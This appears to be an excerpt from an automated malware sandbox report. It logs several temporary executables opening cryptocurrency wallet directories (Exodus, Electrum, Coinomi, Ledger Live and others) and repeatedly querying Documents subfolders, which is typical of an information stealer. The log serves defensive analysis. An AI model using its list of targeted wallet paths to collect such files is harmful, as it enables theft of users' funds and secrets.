Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
